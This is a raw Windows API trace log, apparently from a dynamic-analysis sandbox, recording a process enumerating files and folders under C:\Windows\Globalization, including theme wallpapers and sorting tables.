	[0086.750] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-ZA" (normalized: "c:\\windows\\globalization\\mct\\mct-za"), fInfoLevelId=0x0, lpFileInformation=0x123a6918 | out: lpFileInformation=0x123a6918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d50c61d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1d50c61d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1d50c61d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.750] CreateFileW (lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-ZA" (normalized: "c:\\windows\\globalization\\mct\\mct-za"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.751] FindFirstFileW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-ZA\\*", lpFindFileData=0x124e7918 | out: lpFindFileData=0x124e7918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d50c61d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1d50c61d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1d50c61d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.751] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d50c61d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1d50c61d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1d50c61d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.751] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d50c61d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1d95ebe5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1d50c61d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeed", cAlternateFileName="")) returned 1
	[0086.751] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d50c61d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1d95ebe5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1d50c61d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme", cAlternateFileName="")) returned 1
	[0086.751] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x1d50c61d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1d95ebe5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1d50c61d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wallpaper", cAlternateFileName="WALLPA~1")) returned 1
	[0086.751] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.751] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.751] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-ZA\\RSSFeed" (normalized: "c:\\windows\\globalization\\mct\\mct-za\\rssfeed"), fInfoLevelId=0x0, lpFileInformation=0x123a6a58 | out: lpFileInformation=0x123a6a58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d50c61d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1d95ebe5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1d50c61d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.751] CreateFileW (lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-ZA\\RSSFeed" (normalized: "c:\\windows\\globalization\\mct\\mct-za\\rssfeed"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.751] FindFirstFileW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-ZA\\RSSFeed\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d50c61d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1d95ebe5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1d50c61d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.751] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d50c61d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1d95ebe5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1d50c61d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.751] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.751] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.752] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-ZA\\Theme" (normalized: "c:\\windows\\globalization\\mct\\mct-za\\theme"), fInfoLevelId=0x0, lpFileInformation=0x123a6aa8 | out: lpFileInformation=0x123a6aa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d50c61d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1d95ebe5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1d50c61d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.752] CreateFileW (lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-ZA\\Theme" (normalized: "c:\\windows\\globalization\\mct\\mct-za\\theme"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.752] FindFirstFileW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-ZA\\Theme\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d50c61d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1d95ebe5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1d50c61d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.752] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d50c61d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1d95ebe5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1d50c61d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.752] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b14849d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1b1babd5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1b14849d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x97f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZA.theme", cAlternateFileName="")) returned 1
	[0086.752] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.752] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.752] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-ZA\\Theme\\ZA.theme" (normalized: "c:\\windows\\globalization\\mct\\mct-za\\theme\\za.theme"), fInfoLevelId=0x0, lpFileInformation=0x123a6b48 | out: lpFileInformation=0x123a6b48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b14849d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1b1babd5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1b14849d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x97f)) returned 1
	[0086.752] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-ZA\\Wallpaper" (normalized: "c:\\windows\\globalization\\mct\\mct-za\\wallpaper"), fInfoLevelId=0x0, lpFileInformation=0x123a6b98 | out: lpFileInformation=0x123a6b98*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x1d50c61d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1d95ebe5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1d50c61d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.752] CreateFileW (lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-ZA\\Wallpaper" (normalized: "c:\\windows\\globalization\\mct\\mct-za\\wallpaper"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.753] FindFirstFileW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-ZA\\Wallpaper\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x1d50c61d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1d95ebe5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1d50c61d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.754] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x1d50c61d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1d95ebe5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1d50c61d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.754] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1d50c61d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1b8e1f55, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1b8e1f55, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x52, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0086.754] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b14849d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1b1babd5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1b14849d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x9e2ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZA-wp1.jpg", cAlternateFileName="")) returned 1
	[0086.754] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b14849d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1b1babd5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1b14849d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0xae1e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZA-wp2.jpg", cAlternateFileName="")) returned 1
	[0086.754] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b14849d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1b1babd5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1b14849d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x9214a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZA-wp3.jpg", cAlternateFileName="")) returned 1
	[0086.754] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b14849d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1b1babd5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1b14849d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0xba0c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZA-wp4.jpg", cAlternateFileName="")) returned 1
	[0086.754] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b14849d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1b1babd5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1b16e705, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x660b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZA-wp5.jpg", cAlternateFileName="")) returned 1
	[0086.754] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b16e705, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1b1babd5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1b16e705, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x856a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZA-wp6.jpg", cAlternateFileName="")) returned 1
	[0086.754] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.754] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.755] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-ZA\\Wallpaper\\ZA-wp1.jpg" (normalized: "c:\\windows\\globalization\\mct\\mct-za\\wallpaper\\za-wp1.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123a6e18 | out: lpFileInformation=0x123a6e18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b14849d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1b1babd5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1b14849d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x9e2ec)) returned 1
	[0086.756] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-ZA\\Wallpaper\\ZA-wp2.jpg" (normalized: "c:\\windows\\globalization\\mct\\mct-za\\wallpaper\\za-wp2.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123a6e68 | out: lpFileInformation=0x123a6e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b14849d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1b1babd5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1b14849d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0xae1e9)) returned 1
	[0086.757] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-ZA\\Wallpaper\\ZA-wp3.jpg" (normalized: "c:\\windows\\globalization\\mct\\mct-za\\wallpaper\\za-wp3.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123a6eb8 | out: lpFileInformation=0x123a6eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b14849d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1b1babd5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1b14849d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x9214a)) returned 1
	[0086.757] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-ZA\\Wallpaper\\ZA-wp4.jpg" (normalized: "c:\\windows\\globalization\\mct\\mct-za\\wallpaper\\za-wp4.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123a6f08 | out: lpFileInformation=0x123a6f08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b14849d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1b1babd5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1b14849d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0xba0c4)) returned 1
	[0086.757] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-ZA\\Wallpaper\\ZA-wp5.jpg" (normalized: "c:\\windows\\globalization\\mct\\mct-za\\wallpaper\\za-wp5.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123a6f58 | out: lpFileInformation=0x123a6f58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b14849d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1b1babd5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1b16e705, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x660b6)) returned 1
	[0086.757] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-ZA\\Wallpaper\\ZA-wp6.jpg" (normalized: "c:\\windows\\globalization\\mct\\mct-za\\wallpaper\\za-wp6.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123a6fa8 | out: lpFileInformation=0x123a6fa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b16e705, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1b1babd5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1b16e705, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x856a5)) returned 1
	[0086.757] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-ZA\\Wallpaper\\desktop.ini" (normalized: "c:\\windows\\globalization\\mct\\mct-za\\wallpaper\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123a6ff8 | out: lpFileInformation=0x123a6ff8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1d50c61d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1b8e1f55, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1b8e1f55, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x52)) returned 1
	[0086.757] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\Sorting" (normalized: "c:\\windows\\globalization\\sorting"), fInfoLevelId=0x0, lpFileInformation=0x123a7048 | out: lpFileInformation=0x123a7048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe3ad5e0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe8bc3d4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe8bc3d4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.757] CreateFileW (lpFileName="C:\\Windows\\Globalization\\Sorting" (normalized: "c:\\windows\\globalization\\sorting"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.757] FindFirstFileW (in: lpFileName="C:\\Windows\\Globalization\\Sorting\\*", lpFindFileData=0x124e797c | out: lpFindFileData=0x124e797c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe3ad5e0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe8bc3d4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe8bc3d4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.758] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e799c | out: lpFindFileData=0x124e799c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe3ad5e0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe8bc3d4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe8bc3d4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.758] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e799c | out: lpFindFileData=0x124e799c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51451ccd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x51451ccd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x72656032, ftLastWriteTime.dwHighDateTime=0x1ca03f7, nFileSizeHigh=0x0, nFileSizeLow=0x2cec04, dwReserved0=0x0, dwReserved1=0x0, cFileName="SortDefault.nls", cAlternateFileName="")) returned 1
	[0086.758] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e799c | out: lpFindFileData=0x124e799c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5168d140, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x5168d140, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x7262fed5, ftLastWriteTime.dwHighDateTime=0x1ca03f7, nFileSizeHigh=0x0, nFileSizeLow=0xf43fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SortServer2003Compat.nls", cAlternateFileName="")) returned 1
	[0086.758] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e799c | out: lpFindFileData=0x124e799c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51797acb, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x51797acb, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x727acc77, ftLastWriteTime.dwHighDateTime=0x1ca03f7, nFileSizeHigh=0x0, nFileSizeLow=0x25c704, dwReserved0=0x0, dwReserved1=0x0, cFileName="SortServer2008Compat.nls", cAlternateFileName="")) returned 1
